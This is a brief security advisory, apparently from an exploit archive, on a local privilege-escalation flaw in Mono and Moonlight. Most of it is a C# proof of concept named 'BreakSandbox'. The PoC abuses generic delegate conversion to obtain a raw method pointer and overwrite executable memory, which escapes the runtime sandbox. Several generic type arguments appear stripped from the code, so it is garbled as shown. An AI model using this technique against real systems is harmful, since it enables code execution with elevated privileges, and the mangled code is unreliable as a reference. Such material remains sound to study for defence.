Mono and Moonlight is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer. PoC: using System; using System.Reflection; using System.Runtime.InteropServices; public class DelegateWrapper { public IntPtr method_ptr; } public delegate void MethodWrapper (); public class BreakSandbox { private static DelegateWrapper Convert (T dingus) where T : DelegateWrapper { return dingus; } private static DelegateWrapper ConvertDelegate (Delegate del) { var m = typeof (BreakSandbox).GetMethod ("Convert", BindingFlags.NonPublic | BindingFlags.Static); var gm = m.MakeGenericMethod (typeof (Delegate)); var d = (Func ) Delegate.CreateDelegate (typeof (Func ), null, gm); return d (del); } public static void Main (string [] args) { MethodWrapper d = delegate { Console.WriteLine ("Hello"); }; d (); var converted = ConvertDelegate (d); // Overwrite the already WX page with a 'ret' Marshal.WriteByte (converted.method_ptr, (byte) 0xc3); d (); } }